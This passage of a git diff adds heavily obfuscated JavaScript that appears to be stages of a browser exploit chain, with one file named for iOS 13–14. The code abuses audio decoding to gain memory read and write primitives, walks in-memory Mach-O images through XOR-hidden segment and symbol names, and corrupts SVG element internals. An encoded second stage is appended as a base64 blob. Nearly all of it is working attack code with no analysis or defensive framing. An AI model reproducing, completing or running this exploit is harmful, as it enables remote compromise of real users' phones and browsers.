1632711342)) { + t = Number(t), this.je(this.We, t); + let n = "", + r = 0, + e = t % 2 != 0; + for (; ;) { + const o = this.Ve.charCodeAt(Math.floor((t + r) / 2)), + s = (2037075298 ^ 2037075357) & o, + a = o >>> 8; + if (!1 === e) { + if (0 === s) break; + if (n += String.fromCharCode(s), r += 1, r >= i) break + } + if (e = !1, 0 === a) break; + if (n += String.fromCharCode(a), r += 1, r >= i) break + } + return n + } + Ki(t) { + if ((t = Number(t)) % 2 != 0) throw new Error(""); + this.je(this.We, t), t /= 2; + for (let i = 0; i < 4; i++) { + const n = this.Ve.charCodeAt(t + i); + if (Number.isNaN(n)) throw new Error(""); + this.$e[i] = n + } + return this.He.getBigUint64(0, !0) + } + Me(t, i) { + if ((i = Number(i)) % 2 != 0) throw new Error(""); + i /= 2; + for (let n = 0; n < 4; n++) { + const r = t.charCodeAt(i + n); + if (Number.isNaN(r)) throw new Error(""); + this.$e[n] = r + } + return this.He.getBigUint64(0, !0) + } + async Je(t, i = null) { + const n = e.qi + _, + o = n + m, + c = n + y, + h = n + E; + let l = 0, + f = null, + w = null, + u = null; + if (!1 === this.Oe || null !== i) { + let t = (928141942 ^ 928141430); + if (null !== i && (t = Number(i)), BigInt(t) !== this.De) { + this.De = BigInt(t); + const i = t > (1198089544 ^ 1198090056); + let n = 8 | t << 5; + !0 === i && (n = (1416312649 ^ 1416353601)), u = S(s, new A(o, [n, 0])), l = 0, f = e.Xi.format(1 / 0); + do { + if (l += 1, l > 20) throw Error(0); + for (let t = 0; t < 12; t++) await r.decodeAudioData(a); + try { + await r.decodeAudioData(u) + } catch (t) { } + } while (f === e.Xi.format(1 / 0)); + if (w = this.Me(e.Xi.format(1 / 0), Number(m)), w !== BigInt(n)) throw new Error(""); + if (!0 === i) { + u = S(s, new A(c, [t, 0])), l = 0, f = e.Xi.format(1 / 0); + do { + if (l += 1, l > 20) throw Error(0); + for (let t = 0; t < 12; t++) await r.decodeAudioData(a); + try { + await r.decodeAudioData(u) + } catch (t) { } + } while (f === e.Xi.format(1 / 0)); + if (w = this.Me(e.Xi.format(1 / 0), Number(y)), w !== BigInt(t)) throw new Error("") + } + } + } + u = S(s, new A(h, [Number(t & BigInt(([70, 14, 48, 48, 48, 48, 48, 48, 48, 48].map(x => { + return String.fromCharCode(x ^ 118); + }).join("")))), 0])), l = 0, f = e.Xi.format(1 / 0); + do { + if (l += 1, l > 40) throw Error(0); + for (let t = 0; t < 12; t++) await r.decodeAudioData(a); + try { + await r.decodeAudioData(u) + } catch (t) { } + } while (f === e.Xi.format(1 / 0)); + u = S(s, new A(h + BigInt(4), [Number(t >> BigInt(32)), 0])), l = 0, f = e.Xi.format(1 / 0); + do { + if (l += 1, l > 40) throw Error(0); + for (let t = 0; t < 12; t++) await r.decodeAudioData(a); + try { + await r.decodeAudioData(u) + } catch (t) { } + } while (f === e.Xi.format(1 / 0)); + if (w = this.Me(e.Xi.format(1 / 0), Number(E)), w !== t) throw new Error(""); + this.We = t, this.Ve = e.Xi.format(NaN), this.Oe = !0 + } + } + const h = new c; + await h.init(); + const l = h.Pe; + await h.Je(l), n(h.Ki(0)); + const f = n(h.Ki(0)); + let w = f - f % BigInt((1816809016 ^ 1816153656)); + const u = BigInt((1802265673 ^ 1801872457)); + await h.Je(w, u); + let g = null; + for (; null === g;) { + for (let t = BigInt(0); t < u; t += BigInt((1313814892 ^ 1313810796)))(4294967296 + (1969632586 ^ -1953771643)) === h.br(t) && (g = w + t); + null === g && (w -= u, await h.Je(w)) + } + const d = 4, + b = 40, + B = 8, + k = 24, + v = 32; + await h.Je(g, BigInt((1983990839 ^ 1983974455))); + let F = null, + N = null; + const T = h.br(16); + (() => { + let t = v; + for (let i = 0; i < T; i++) { + const i = h.br(t), + n = h.br(t + d); + if (25 === i && ([106, 106, 97, 112, 109, 97].map(x => { + return String.fromCharCode(x ^ 53); + }).join("")) === h.Er(t + B)) { + const i = h.Ki(t + k), + n = h.Ki(t + b); + return F = g - i, void (N = g - n) + } + t += n + } + throw new Error("") + })(), await h.Je(N, BigInt((1164271428 ^ 1164267332))); + const C = h.br((1314289713 ^ 1314290161)), + x = h.br((2003720249 ^ 2003720701)), + P = N + BigInt(C); + await h.Je(P, BigInt(32 * x)); + const O = []; + let W = (846344769 ^ 1032703422), + D = 0; + for (let t = 0; t < x; t++) { + const i = 32 * t, + n = h.br(i + 24); + W = Math.min(n, W), D = Math.max(n, D), O.push({ + Le: h.Ki(i) + F, + Re: n + }) + } + await h.Je(N + BigInt(W), BigInt(D - W) + BigInt((1095519607 ^ 1095519323))); + const V = (() => { + for (const { + Le: t, + Re: i + } + of O) + if (([98, 56, 62, 63, 98, 33, 36, 47, 98, 62, 52, 62, 57, 40, 32, 98, 33, 36, 47, 62, 52, 62, 57, 40, 32, 18, 61, 57, 37, 63, 40, 44, 41, 99, 41, 52, 33, 36, 47].map(x => { + return String.fromCharCode(x ^ 77); + }).join("")) === h.Er(i - W)) return t; + throw new Error("") + })(), + $ = async t => { + let i = !1, + n = null, + r = null, + e = null, + o = null; + const s = {}; + let a = null; + await h.Je(t, BigInt((1882473569 ^ 1882477665))); + const c = h.br(16); + let l = v; + for (let e = 0; e < c; e++) { + const e = h.br(l), + c = h.br(l + d); + switch (e) { + case 25: { + const i = { + Xe: h.Er(l + B, 16), + qe: h.Ki(l + k), + Ge: null, + Qe: h.Ki(l + b) + }; + switch (i.Xe) { + case ([55, 55, 60, 45, 48, 60].map(x => { + return String.fromCharCode(x ^ 104); + }).join("")): + o = t - i.qe; + break; + case ([110, 110, 125, 120, 127, 122, 116, 117, 120, 101].map(x => { + return String.fromCharCode(x ^ 49); + }).join("")): + a = i.qe + o - i.Qe + } + if (void 0 !== s[i.Xe]) throw new Error(""); + s[i.Xe] = i; + break + } + case (4294967296 + (1316571241 ^ -830912437)): + i = !0, n = h.br(l + 40), r = h.br(l + 44); + break; + case (4294967296 + (1380348984 ^ -767134709)): + i = !0, n = h.br(l + 8), r = h.br(l + 12) + } + l += c + } + for (const t of Object.keys(s)) { + const i = s[t]; + i.Ge = i.qe + o + } + if (!1 === i) throw new Error(""); + e = a + BigInt(n); + const f = new ArrayBuffer(r); + await h.Je(e, r); + const w = new Uint32Array(f); + for (let t = 0; t < w.length; t++) w[t] = h.br(4 * t); + const u = new Uint8Array(f), + g = t => { + const i = u; + let n = "", + r = 0, + e = !1; + for (; !e;) { + e = !0; + let o = 0, + s = 0; + do { + o += ((1313960505 ^ 1313960518) & i[r]) << s, s += 7 + } while ((1098134344 ^ 1098134472) & i[r++]); + if (n === t && 0 !== o) { + r++; + let t = 0; + s = 0; + do { + t += ((1850494570 ^ 1850494485) & i[r]) << s, s += 7 + } while ((1396272182 ^ 1396272310) & i[r++]); + return t + } + r += o; + const a = i[r++]; + for (let o = 0; o < a; o++) { + let o = ""; + for (; 0 !== i[r];) o += String.fromCharCode(i[r++]); + r++; + let a = 0; + s = 0; + do { + a += ((1181446996 ^ 1181446955) & i[r]) << s, s += 7 + } while ((1885751632 ^ 1885751760) & i[r++]); + if (o.length && n + o === t.substr(0, n.length + o.length)) { + n += o, r = a, e = !1; + break + } + } + } + return null + }, + I = i => { + const n = g(([23].map(x => { + return String.fromCharCode(x ^ 72) + }).join("")) + (i)); + if (null === n) throw new Error(""); + return t + BigInt(n) + }; + return { + Ye: g, + Ze: I + } + }, H = (await $(V)).Ze(([56, 60, 32, 58, 45, 41, 44, 23, 37, 41, 33, 38, 23, 60, 32, 58, 45, 41, 44, 23, 38, 56].map(x => { + return String.fromCharCode(x ^ 72); + }).join(""))), j = BigInt(64); + await h.Je(H, j); + const K = new Uint32Array(Number(j) / 4); + for (let t = 0; t < K.length; t += 1) K[t] = h.br(4 * t); + let J = null, + L = null; + for (const t in K) { + const i = K[t]; + if (-(1463055181 ^ 657748813) == ((4294967296 + (1515861862 ^ -983943322)) & i)) { + const t = ((1127823425 ^ 1137100705) & i) >> 5 << 14 | ((1599034724 ^ 1062163812) & i) >> 29 << 12; + J = H - H % BigInt((1484342131 ^ 1484346227)) + BigInt(t) + } else if (-(1700999479 ^ 1671639351) == ((4294967296 + (875714420 ^ -873310348)) & i)) { + L = J + BigInt(8 * (i >> 10 & (1294812501 ^ 1294813866))); + break + } + } + if (null === L) throw new Error(""); + await h.Je(L, BigInt((1330473825 ^ 1330473569))); + const R = h.Ki(0), + X = BigInt((1633316206 ^ 1633316318)), + q = BigInt((1969453647 ^ 1969453815)), + G = BigInt(16), + Q = []; + let Y = R; + do { + await h.Je(Y); + const t = h.Ki(X); + t - h.Ki(q) >= BigInt((1951421032 ^ 1951461992)) && Q.push({ + io: Y, + no: t + }), Y = h.Ki(G) + } while (Y !== BigInt(0)); + const Z = async t => { + const i = [(1733258864 ^ 1732917826), (1919894851 ^ 1919492208), t, (1718899798 ^ 1719039842), (812336994 ^ 811783510)]; + let n = null; + const r = (t, ...e) => { + try { + r(t + 1, ...i, ...e) + } catch (t) { + h.Ke(); + for (let t = 0; t < (1681351477 ^ 1681355573); t += 8) + if (h.Ki(t) === BigInt(([1, 73, 87, 87, 87, 84, 1, 1, 1, 1, 1, 1, 1, 4, 4, 5, 2, 3].map(x => { + return String.fromCharCode(x ^ 49); + }).join(""))) && h.Ki(t + 8) === BigInt(([87, 31, 1, 1, 1, 2, 87, 87, 87, 87, 87, 87, 87, 81, 81, 82, 84, 84].map(x => { + return String.fromCharCode(x ^ 103); + }).join(""))) && h.Ki(t + 24) === BigInt(([6, 78, 80, 80, 80, 83, 6, 6, 6, 6, 6, 6, 6, 4, 4, 5, 5, 2].map(x => { + return String.fromCharCode(x ^ 54); + }).join(""))) && h.Ki(t + 32) === BigInt(([101, 45, 51, 51, 51, 48, 101, 101, 101, 101, 101, 101, 101, 108, 108, 103, 102, 97].map(x => { + return String.fromCharCode(x ^ 85); + }).join("")))) return void (n = h.Ki(t + 16)) + } + }; + for (const t in Q) { + const e = Q[t].no - BigInt((1752708705 ^ 1752725089)); + if (await h.Je(e, BigInt((1278297418 ^ 1278301514))), r(0, ...i), null !== n) break + } + if (null === n) throw new Error(""); + return n + }, tt = new Array((812536690 ^ 812536762)); + tt.fill(null); + const it = await Z(tt); + await h.Je(it, BigInt(96)); + const nt = h.Ki(8); + await h.Je(nt), tt.fill((1162883439 ^ 1162883348)); + const rt = async (t, i) => { + const n = Number((i >> BigInt(32)).toString()), + e = Number((i & BigInt((4294967296 + (1831691832 ^ -1831691833)))).toString()), + o = S(s, new A(t, [e, 0])); + for (let t = 0; t < 12; t++) r.decodeAudioData(a); + try { + await r.decodeAudioData(o) + } catch (t) { } + const c = S(s, new A(t + BigInt(4), [n, 0])); + for (let t = 0; t < 12; t++) r.decodeAudioData(a); + try { + await r.decodeAudioData(c) + } catch (t) { } + }, et = [document.createElementNS(([37, 57, 57, 61, 119, 98, 98, 58, 58, 58, 99, 58, 126, 99, 34, 63, 42, 98, 127, 125, 125, 125, 98, 62, 59, 42].map(x => { + return String.fromCharCode(x ^ 77); + }).join("")), ([95, 92, 122, 86, 87, 79, 86, 85, 79, 92, 116, 88, 77, 75, 80, 65].map(x => { + return String.fromCharCode(x ^ 57); + }).join(""))), document.createElementNS(([81, 77, 77, 73, 3, 22, 22, 78, 78, 78, 23, 78, 10, 23, 86, 75, 94, 22, 11, 9, 9, 9, 22, 74, 79, 94].map(x => { + return String.fromCharCode(x ^ 57); + }).join("")), ([41, 42, 12, 32, 33, 57, 32, 35, 57, 42, 2, 46, 59, 61, 38, 55].map(x => { + return String.fromCharCode(x ^ 79); + }).join(""))), document.createElementNS(([15, 19, 19, 23, 93, 72, 72, 16, 16, 16, 73, 16, 84, 73, 8, 21, 0, 72, 85, 87, 87, 87, 72, 20, 17, 0].map(x => { + return String.fromCharCode(x ^ 103); + }).join("")), ([55, 52, 18, 62, 63, 39, 62, 61, 39, 52, 28, 48, 37, 35, 56, 41].map(x => { + return String.fromCharCode(x ^ 81); + }).join("")))], ot = et[0].orderX, st = et[1].orderX, at = et[2].orderX, ct = JSON.parse(([48, 90, 69, 90, 71, 75, 48, 54, 54].map(x => { + return String.fromCharCode(x ^ 107); + }).join(""))); + tt[0] = ot, tt[1] = st, tt[2] = at, tt[3] = ct, tt[4] = (1496929129 ^ 1508376139), await h.Je(nt); + const ht = h.Ki(0), + lt = h.Ki(8), + ft = h.Ki(16), + wt = h.Ki(24), + ut = { + ro: [], + eo: [], + oo: [] + }; + await h.Je(lt); + const gt = h.Ki(24); + await h.Je(gt), ut.eo.push([BigInt(40), h.Ki(40)]), ut.eo.push([BigInt(48), h.Ki(48)]); + do { + await rt(gt + BigInt(16), BigInt(0)), await rt(gt + BigInt(24), BigInt(0)), h.Ke() + } while (h.Ki(16) !== BigInt(0) || h.Ki(24) !== BigInt(0)); + await h.Je(ht); + const dt = h.Ki(24); + await h.Je(dt), ut.ro.push([BigInt(40), h.Ki(40)]), ut.ro.push([BigInt(48), h.Ki(48)]); + do { + await rt(dt + BigInt(16), BigInt(0)), await rt(dt + BigInt(24), BigInt(0)), h.Ke() + } while (h.Ki(16) !== BigInt(0) || h.Ki(24) !== BigInt(0)); + await h.Je(ft); + const bt = h.Ki(24); + await h.Je(bt), ut.oo.push([BigInt(40), h.Ki(40)]), ut.oo.push([BigInt(48), h.Ki(48)]); + do { + await rt(bt + BigInt(16), BigInt(0)), await rt(bt + BigInt(24), BigInt(0)), h.Ke() + } while (h.Ki(16) !== BigInt(0) || h.Ki(24) !== BigInt(0)); + await h.Je(dt); + do { + await rt(dt + BigInt(32), bt + BigInt(32) - BigInt(28)), h.Ke() + } while (h.Ki(32) !== bt + BigInt(32) - BigInt(28)); + await h.Je(gt); + do { + await rt(gt + BigInt(32), bt + BigInt(32) - BigInt(28) + BigInt(4)), h.Ke() + } while (h.Ki(32) !== bt + BigInt(32) - BigInt(28) + BigInt(4)); + const Bt = new M(dt, ot, gt, st, bt, at, wt, ct); + for (const t of [ + [gt, ut.eo], + [dt, ut.ro], + [bt, ut.oo] + ]) { + const i = t[0], + n = t[1]; + for (const t of n) { + const n = t[0], + r = t[1]; + Bt.Hi(i + BigInt(n), r) + } + } + for (const t in et) { + const i = et[t], + r = Bt.tA(i), + e = n(Bt.Ki(r + BigInt(24))), + o = Bt.br(e + BigInt(24)); + Bt.dr(e + BigInt(24), o + (1733968200 ^ 1733951816)) + } + const It = [ot, st, at]; + for (const t in It) { + const i = It[t], + r = Bt.tA(i), + e = n(Bt.Ki(r + BigInt(24))), + o = Bt.br(e + BigInt(8)); + Bt.dr(e + BigInt(8), o + (1361928816 ^ 1361912432)) + } + return i.Ji = N, i.Li = F, new z(t, Bt) + }(c); + for (const t of e) { + if (null === t) continue; + const i = l.tr(t); + l.dr(i + 24, 0), l.dr(i + 28, 0), l.dr(i + 32, 0), l.dr(i + 36, 0) + } + for (const t in o) { + const i = o[t], + n = l.tr(i), + r = l.Dr(n + 24), + e = l.br(r + 0); + l.dr(r + 0, e + (1129085514 ^ 1129069130)) + } + return o.length = 0, e.length = 0, l + }() + }(); + P.zn.Xn = i + } catch (t) { + throw P.zn.Xn = void 0, t + } +}, r; \ No newline at end of file diff --git a/other/Stage2_13.0_14.x_breezy.js b/other/Stage2_13.0_14.x_breezy.js new file mode 100644 index 0000000..412a120 --- /dev/null +++ b/other/Stage2_13.0_14.x_breezy.js @@ -0,0 +1 @@ +let r={};globalThis.obChTK.fgPoij(([83, 80, 6, 0, 3, 84, 87, 7, 82, 0, 83, 87, 3, 1, 6, 4, 9, 84, 7, 8, 80, 83, 8, 5, 4, 85, 3, 82, 85, 87, 85, 4, 0, 84, 4, 2, 85, 82, 85, 9].map(x => {return String.fromCharCode(x ^ 49);}).join("")),"bGV0IHI9e307Y29uc3QgeD1nbG9iYWxUaGlzLm9iQ2hUSy5oUEwzT24oKFsxMjUsIDEyNywgMTI2LCAxMjIsIDEyMCwgMTIyLCAxMjAsIDEyNiwgNDQsIDEyNiwgMTIyLCAxMjAsIDEyNywgMTEzLCA0MiwgNDEsIDQxLCA0NCwgMTIwLCA0NSwgMTI1LCAxMjcsIDQ1LCAxMjYsIDQ0LCAxMTMsIDQ1LCA0MywgMTEzLCAxMjMsIDEyMSwgMTIyLCAxMjAsIDQzLCAxMjAsIDQ2LCAxMjUsIDEyMiwgMTI0LCAxMjddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNzIpO30pLmpvaW4oIiIpKSkse046R309Z2xvYmFsVGhpcy5vYkNoVEsuaFBMM09uKChbNjUsIDY3LCA2NiwgNzAsIDY4LCA3MCwgNjgsIDY2LCAxNiwgNjYsIDcwLCA2OCwgNjcsIDc3LCAyMiwgMjEsIDIxLCAxNiwgNjgsIDE3LCA2NSwgNjcsIDE3LCA2NiwgMTYsIDc3LCAxNywgMjMsIDc3LCA3MSwgNjksIDcwLCA2OCwgMjMsIDY4LCAxOCwgNjUsIDcwLCA2NCwgNjddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTE2KTt9KS5qb2luKCIiKSkpLFA9Z2xvYmFsVGhpcy5vYkNoVEsuaFBMM09uKChbNCwgMSwgMywgMywgMTIsIDg2LCA4NCwgNiwgODcsIDQsIDAsIDQsIDEyLCA4NywgODQsIDcsIDg0LCAxMywgODMsIDEsIDUsIDg3LCA4MCwgNywgMTMsIDIsIDgzLCAzLCAxLCAzLCA4MSwgMSwgODEsIDIsIDAsIDEyLCA2LCA4MCwgODcsIDVdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNTMpO30pLmpvaW4oIiIpKSkse3puOkZ9PWdsb2JhbFRoaXMub2JDaFRLLmhQTDNPbigoWzEwNywgMTEwLCAxMDgsIDEwOCwgOTksIDU3LCA1OSwgMTA1LCA1NiwgMTA3LCAxMTEsIDEwNywgOTksIDU2LCA1OSwgMTA0LCA1OSwgOTgsIDYwLCAxMTAsIDEwNiwgNTYsIDYzLCAxMDQsIDk4LCAxMDksIDYwLCAxMDgsIDExMCwgMTA4LCA2MiwgMTEwLCA2MiwgMTA5LCAxMTEsIDk5LCAxMDUsIDYzLCA1NiwgMTA2XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDkwKTt9KS5qb2luKCIiKSkpLFo9Ri5MbjtmdW5jdGlvbiBZKHQscj0hMSl7Y29uc3QgZT1QLnpuLlhuLG49ZS5pcih0LkgoMTYpKTtsZXQgcz10LkgoMzIpLGk9bmV3IHguVnQoMCwwKSxvPSEwLGg9ITEsYz1udWxsLGw9bnVsbCxmPW51bGwsYT0wLHU9bnVsbCxkPW51bGwsdz1udWxsLGc9bnVsbCxtPSExO2NvbnN0IEU9W107Zm9yKGxldCBmPTA7ZjxuO2YrKyl7Y29uc3Qgbj1lLmlyKHMpLGY9ZS5pcihzLkgoNCkpO3N3aXRjaChuKXtjYXNlIDE1Om09ITA7YnJlYWs7Y2FzZSA1MDpyJiYxPT09ZS5pcihzLkgoOCkpJiYodz0hMCxnPWUuaXIocy5IKDEyKSkpO2JyZWFrO2Nhc2UgMjU6e2NvbnN0IG49e1hlOmUuVHIocy5IKDgpLDE2KSxxZTplLlVyKHMuSCgyNCkpLEVvOmUuVXIocy5IKDI0KSksT286ZS5VcihzLkgoMzIpKSxRZTplLlVyKHMuSCg0MCkpLHpvOmUuVXIocy5IKDQ4KSksJG86ZS5pcihzLkgoNTYpKSxxbzplLmlyKHMuSCg2MCkpLE1vOmUuaXIocy5IKDY0KSksZmxhZ3M6ZS5pcihzLkgoNjgpKSxEbzpzLkgoNzIpLExvOnt9LGR1bXAoKXt9fTtpZihyKWZvcihsZXQgdD0wO3Q8bi5Nbzt0Kz0xKXtjb25zdCByPW4uRG8uSCg4MCp0KSxzPXtYZTplLlRyKHIuSCgxNiksMTYpLFZvOmUuVHIoci5IKDApLDE2KSxxZTplLlVyKHIuSCgzMikpLE9vOmUuVXIoci5IKDQwKSksUWU6ZS5pcihyLkgoNDgpKSxkdW1wKCl7fX07bi5Mb1tzLlZvXT1zfXN3aXRjaChFLnB1c2gobiksbi5YZSl7Y2FzZShbMTExLCAxMTEsIDEwMCwgMTE3LCAxMDQsIDEwMF0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA0OCk7fSkuam9pbigiIikpOm4uUWUuRXQoKT9vPSExOmw9dC5zdWIobi5RZSksaT10LnN1YihuLnFlKTticmVhaztjYXNlKFsxMDUsIDEwNSwgMTIyLCAxMjcsIDEyMCwgMTI1LCAxMTUsIDExNCwgMTI3LCA5OF0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA1NCk7fSkuam9pbigiIikpOnU9bi5xZS5hZGQoaSkuc3ViKG4uUWUpO2JyZWFrO2Nhc2UoWzQ0LCA0NCwgNTAsIDM4LCAzOSwgNTksIDQ0LCA0OCwgNjAsIDYxLCAzMiwgMzldLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTE1KTt9KS5qb2luKCIiKSk6aWYocil7Y29uc3QgdD1uLkxvLl9fYXV0aF9nb3Q7dm9pZCAwIT09dCYmKGQ9dC5xZS5hZGQoaSkpfX1icmVha31jYXNlICg0Mjk0OTY3Mjk2ICsgKDkyOTkxNjc4MyBeIC0xMjE3NTY2ODk5KSk6aD0hMCxjPWUuaXIocy5IKDQwKSksYT1lLmlyKHMuSCg0NCkpO2JyZWFrO2Nhc2UgKDQyOTQ5NjcyOTYgKyAoMTg2NzY1ODMyOSBeIC0yNzk4MjUzMDIpKTpoPSEwLGM9ZS5pcihzLkgoOCkpLGE9ZS5pcihzLkgoMTIpKX1zPXMuSChmKX1sZXQgXz1pO2lmKHImJiFvJiYhbSl7Y29uc3Qgcj1lLmlyKHQuSCg0KSk7aWYodyYmKDE5MzI2ODM2MDggXiAxOTE1OTA2Mzg4KT09PXImJmc+PSgxNDY2ODQ5NjUwIF4gMTQ2NjI1OTgyNikpe2lmKG51bGw9PT1kKXRocm93IG5ldyBFcnJvcigiIik7bGV0IHQ9ZS5VcihkKS5EdCgpO2lmKHQuRXQoKSl0aHJvdyBuZXcgRXJyb3IoIiIpO2Zvcih0PXQuQnQodC5pdCUoMTY5OTE2OTY0NiBeIDE2OTkxNzM3NDIpKTsoNDI5NDk2NzI5NiArICgxMzE0NDA0NDA0IF4gLTEzMzAyNjUzNDkpKSE9PWUuaXIodCk7KXQ9dC5CdCgoMTcxNDk3MjQ5MSBeIDE3MTQ5NzY1ODcpKTtjb25zdCByPXRoaXMuWG8odCk7bD1yLkhvLlpvLF89ci5Iby5Lb319Zm9yKGxldCB0PTA7dDxFLmxlbmd0aDt0Kyspe2NvbnN0IHI9RVt0XSxlPXIucWU7ci5xZT1lLmFkZChpKX1yZXR1cm4gaCYmYyYmKGY9dS5IKGMpKSxuZXcgdHQoe0dvOnQsSm86bixRbzppLFlvOnUsWm86bCxLbzpfLHRoOmYscmg6YX0sRSl9ci51cj1mdW5jdGlvbigpe3JldHVybiBZKFAuem4ueW4sITApfSxyLlhvPVk7Y2xhc3MgdHR7Y29uc3RydWN0b3IodCxyKXt0aGlzLkhvPXQsdGhpcy5laD1yLHRoaXMubmg9bmV3IFVpbnQ4QXJyYXkoW10pLHRoaXMuc2g9ITF9c3IoKXtyZXR1cm4gbmV3IHJ0KHRoaXMpfWFyKCl7cmV0dXJuIG5ldyBldCh0aGlzKX1paCh0KXtjb25zdCByPXRoaXMub2goKFsxMDddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNTIpfSkuam9pbigiIikpICsgKHQpKTtyZXR1cm4gcj90aGlzLkhvLkdvLkgocik6bmV3IHguVnQoMCwwKX1vaCh0KXtpZighMT09PXRoaXMuc2gpe3RoaXMuc2g9ITA7Y29uc3QgdD1uZXcgVWludDMyQXJyYXkodGhpcy5Iby5yaCszPj4yKTtmb3IobGV0IHI9MDtyPHQubGVuZ3RoO3IrKyl0W3JdPVAuem4uWG4uaXIodGhpcy5Iby50aC5IKDQqcikpO3RoaXMubmg9bmV3IFVpbnQ4QXJyYXkodC5idWZmZXIpfWNvbnN0IHI9dGhpcy5uaDtsZXQgZT0iIixuPTAscz0hMTtmb3IoOyFzOyl7cz0hMDtsZXQgaT0wLG89MDtkb3tpKz0oKDIwMDQ1MDQ0MDcgXiAyMDA0NTA0MzYwKSZyW25dKTw8byxvKz03fXdoaWxlKCgxNTk4MTkyMjM4IF4gMTU5ODE5MjM2NikmcltuKytdKTtpZihlPT09dCYmMCE9PWkpe24rKztsZXQgdD0wO289MDtkb3t0Kz0oKDIwMTg5OTI2OTEgXiAyMDE4OTkyNzE2KSZyW25dKTw8byxvKz03fXdoaWxlKCgxNzgzNzE2MTgwIF4gMTc4MzcxNjMwOCkmcltuKytdKTtyZXR1cm4gdH1uKz1pO2NvbnN0IGg9cltuKytdO2ZvcihsZXQgaT0wO2k8aDtpKyspe2xldCBpPSIiO2Zvcig7MCE9PXJbbl07KWkrPVN0cmluZy5mcm9tQ2hhckNvZGUocltuKytdKTtuKys7bGV0IGg9MDtvPTA7ZG97aCs9KCgyMDUzNTMwNDc5IF4gMjA1MzUzMDM4NCkmcltuXSk8PG8sbys9N313aGlsZSgoMTkzNjk0NjUxNCBeIDE5MzY5NDY2NDIpJnJbbisrXSk7aWYoaS5sZW5ndGgmJmUraT09PXQuc3Vic3RyKDAsZS5sZW5ndGgraS5sZW5ndGgpKXtlKz1pLG49aCxzPSExO2JyZWFrfX19cmV0dXJuIDB9fWNsYXNzIHJ0e2NvbnN0cnVjdG9yKHQpe3RoaXMuaGg9dCx0aGlzLmxoPXRoaXMuaGguSG8uR299aWgodCl7Y29uc3Qgcj10aGlzLmhoLm9oKChbMTA5XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDUwKX0pLmpvaW4oIiIpKSArICh0KSk7cmV0dXJuIHI/dGhpcy5oaC5Iby5Hby5IKHIpOm5ldyB4LlZ0KDAsMCl9ZmgodCl7Y29uc3Qgcj10aGlzLmhoLm9oKChbNTddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTAyKX0pLmpvaW4oIiIpKSArICh0KSk7aWYoIXIpdGhyb3cgbmV3IEVycm9yKCIiKTtyZXR1cm4gcj90aGlzLmhoLkhvLkdvLkgocik6bmV3IHguVnQoMCwwKX1haCh0KXtyZXR1cm4gMCE9PXRoaXMuaGgub2goKFs1XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDkwKX0pLmpvaW4oIiIpKSArICh0KSl9dWgoLi4udCl7Zm9yKGNvbnN0IHIgb2YgdCl0cnl7cmV0dXJuIHRoaXMuZmgocil9Y2F0Y2godCl7Y29udGludWV9dGhyb3cgbmV3IEVycm9yKCIiKX19Y2xhc3MgZXR7Y29uc3RydWN0b3IodCl7dGhpcy5oaD10LHRoaXMuZGg9bnVsbCx0aGlzLndoPXRoaXMuaGguSG8uR28ueXQoKX1paCh0KXtjb25zdCByPXRoaXMuaGgub2goKFsyNV0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA3MCl9KS5qb2luKCIiKSkgKyAodCkpO3JldHVybiByP3RoaXMud2grcjowfXVoKC4uLnQpe2Zvcihjb25zdCByIG9mIHQpdHJ5e3JldHVybiB0aGlzLmZoKHIpfWNhdGNoKHQpe2NvbnRpbnVlfXRocm93IG5ldyBFcnJvcigiIil9YWgodCl7cmV0dXJuIDAhPT10aGlzLmhoLm9oKChbMTddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNzgpfSkuam9pbigiIikpICsgKHQpKX1maCh0KXtjb25zdCByPXRoaXMuaGgub2goKFs1MV0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiAxMDgpfSkuam9pbigiIikpICsgKHQpKTtpZighcil0aHJvdyBuZXcgRXJyb3IoIiIpO3JldHVybiB0aGlzLndoK3J9Z2godCl7cmV0dXJue1hlOnQuWGUscWU6dC5xZS55dCgpLEVvOnQuRW8ueXQoKSxPbzp0Lk9vLnl0KCksUWU6dC5RZS55dCgpLHpvOnQuem8ueXQoKSwkbzp0LiRvLHFvOnQucW8sTW86dC5NbyxmbGFnczp0LmZsYWdzLERvOnQuRG8ueXQoKSxMbzp0LkxvfX1taCh0KXtyZXR1cm57WGU6dC5YZSxWbzp0LlZvLHFlOnQucWUueXQoKSxPbzp0Lk9vLnl0KCksUWU6dC5RZS55dCgpfX1FaCh0KXtmb3IobGV0IHI9MDtyPHRoaXMuaGguZWgubGVuZ3RoO3IrKylpZih0aGlzLmhoLmVoW3JdLlhlPT09dClyZXR1cm4gdGhpcy5naCh0aGlzLmhoLmVoW3JdKTtyZXR1cm4gbnVsbH1faCh0LHIpe2NvbnN0IGU9dGhpcy5FaCh0KTtpZihudWxsIT09ZSl7aWYoMCE9PU9iamVjdC5rZXlzKGUuTG8pLmxlbmd0aCl7Y29uc3QgdD1lLkxvW3JdO3JldHVybiB2b2lkIDAhPT10P3RoaXMubWgodCk6bnVsbH17bGV0IG49bnVsbDtmb3IobGV0IHM9MDtzPGUuTW87cysrKXtjb25zdCBpPWUuRG8rODAqcyxvPXQsaD1QLnpuLlhuLkVyKGksMTYpLGM9e1hlOm8sVm86aCxxZTpQLnpuLlhuLnJyKGkrMzIpLmFkZCh0